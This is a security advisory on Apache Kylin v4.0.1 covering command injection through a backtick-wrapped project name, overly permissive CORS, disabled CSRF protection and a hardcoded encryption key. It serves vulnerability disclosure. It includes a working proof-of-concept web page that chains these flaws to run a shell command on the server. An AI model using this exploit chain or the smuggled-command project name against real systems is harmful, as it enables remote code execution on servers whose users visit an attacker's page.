Coordinated Disclosure Timeline

Summary

Multiple vulnerabilities where found on Apache Kylin leading to Command injection.

Product

Apache Kylin

Tested Version

v4.0.1

Details

Issue 1: Command injection (GHSL-2021-1048)

Fix for previous vulnerability resulted in the following dumpProjectDiagnosisInfo method

    public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException {
        Message msg = MsgPicker.getMsg();
        ProjectInstance projectInstance =
                ProjectManager.getInstance(KylinConfig.getInstanceFromEnv())
                        .getProject(ValidateUtil.convertStringToBeAlphanumericUnderscore(project));   // [1]
        if (null == projectInstance) {
            throw new BadRequestException(
                    String.format(Locale.ROOT, msg.getDIAG_PROJECT_NOT_FOUND(), project));
        }
        aclEvaluate.checkProjectOperationPermission(projectInstance);
        String[] args = { project, exportPath.getAbsolutePath() };
        runDiagnosisCLI(args);
        return getDiagnosisPackageName(exportPath);
    }

This fix, however, introduced a new vulnerability. There is a mismatch between what is being checked (ValidateUtil.convertStringToBeAlphanumericUnderscore(project)) and what is being used as the shell command argument (project).

An attacker able to create a new project will be able to create a project named touchpwned. Eg:

  await fetch(
    "http://localhost:7070/kylin/api/projects",
    {
      credentials: 'include',
      method:'POST',
      headers:{"Content-Type":"application/json"},
      body:JSON.stringify({"projectDescData":"{\"name\":\"touchpwned\",\"description\":\"\",\"override_kylin_properties\":{}}"})
    }
  )

They will then be able to dump the diagnosis information for a project called:

`touch pwned`

The server will strip any non-alphanumeric or underscore characters from the project name in [1], which will result in loading the touchpwned project created before.

However, the argument passed to the shell command will be:

`touch pwned`

and the resulting executed command will be:

/<path>/bin/diag.sh `touch pwned`

Impact

Post-authentication Remote Code Execution.

Issue 2: Overly broad CORS configuration (GHSL-2021-1049)

Kylin reflects the Origin header and allow credentials to be sent cross-origin in the default configuration. The preflight OPTIONS request:

OPTIONS /kylin/api/projects HTTP/1.1
Host: localhost:7070
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Referer: http://b49b-95-62-58-48.ngrok.io/
Origin: http://b49b-95-62-58-48.ngrok.io
Connection: keep-alive
Cache-Control: max-age=0

Will be replied with:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: http://b49b-95-62-58-48.ngrok.io
Access-Control-Allow-Credentials: true
Vary: Origin
Access-Control-Allow-Methods: DELETE, POST, GET, OPTIONS, PUT
Access-Control-Allow-Headers: Authorization, Origin, No-Cache, X-Requested-With, Cache-Control, Accept, X-E4m-With, If-Modified-Since, Pragma, Last-Modified, Expires, Content-Type
Content-Length: 0

Looks like CORS configuration is handled here:

<filter>
   <filter-name>CORS</filter-name>
   <filter-class>com.thetransactioncompany.cors.CORSFilter</filter-class>       
   <init-param>
      <param-name>cors.supportedHeaders</param-name>
      <param-value>Authorization,Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With, Accept</param-value>
   </init-param>   
  <init-param>
      <param-name>cors.supportedMethods</param-name>
      <param-value>GET, POST, PUT, DELETE, OPTIONS</param-value>
   </init-param>     
  <init-param>
      <param-name>cors.supportsCredentials</param-name>
      <param-value>true</param-value>
   </init-param>    
</filter>

There is a CrossDomainFilter which does NOT support sending credentials cross-origin and that would allow developers to disable CORS support entirely setting kylin.web.cross-domain-enabled to FALSE (defaults to TRUE). However, this filter is not used.

        if (KylinConfig.getInstanceFromEnv().isWebCrossDomainEnabled()) {
            ((HttpServletResponse) response).addHeader("Access-Control-Allow-Origin", "*");
            ((HttpServletResponse) response).addHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");
            ((HttpServletResponse) response).addHeader("Access-Control-Allow-Headers", "Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With, Accept, Authorization");
        }

Impact

Cross-origin requests with credentials are allowed to be sent from any origin.

Issue 3: CSRF (GHSL-2021-1050)

Cross-Server Request Forgery (CSRF) is disabled on all profiles by setting <scr:csrf disabled="true"/>

Impact

This issue may lead to CSRF attacks

Issue 4: Hardcoded credentials (GHSL-2021-1051)

In org.apache.kylin.common.util.EncryptUtil the cipher is initialized with a hardcoded key and IV:

    private static byte[] key = { 0x74, 0x68, 0x69, 0x73, 0x49, 0x73, 0x41, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x4b,
            0x65, 0x79 };

    private static final Cipher getCipher(int cipherMode) throws InvalidAlgorithmParameterException,
            InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException {
        Cipher cipher = Cipher.getInstance("AES/CFB/PKCS5Padding");
        final SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
        IvParameterSpec ivSpec = new IvParameterSpec("AAAAAAAAAAAAAAAA".getBytes("UTF-8"));
        cipher.init(cipherMode, secretKey, ivSpec);
        return cipher;
    }

This cipher is later used in:

Impact

This issue may lead to information disclosure.

PoC

Abusing issues 1, 2 and 3 together, an attacker could serve the following page which, if visited by a Kylin logged-in user, would result in:

<html>
<body>
<script>
async function exploit() {
  var payload = "`touch pwned`"
  var sanitized_payload = payload.replace(/[^0-9a-z_]/gi, '')
  await fetch(
    "http://localhost:7070/kylin/api/projects",
    {
      credentials: 'include',
      method:'POST',
      headers:{"Content-Type":"application/json"},
      body:JSON.stringify({"projectDescData":"{\"name\":\"" + sanitized_payload + "\",\"description\":\"\",\"override_kylin_properties\":{}}"})
    }
  )
  await fetch(
    "http://localhost:7070/kylin/api/diag/project/" + encodeURIComponent(payload) + "/download",
    {
      credentials: 'include',
      method:'GET',
    }
  )
}
exploit()
</script>
</body>
</html>

CVE

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1048, GHSL-2021-1049, GHSL-2021-1050, or GHSL-2021-1051 in any communication regarding these issues.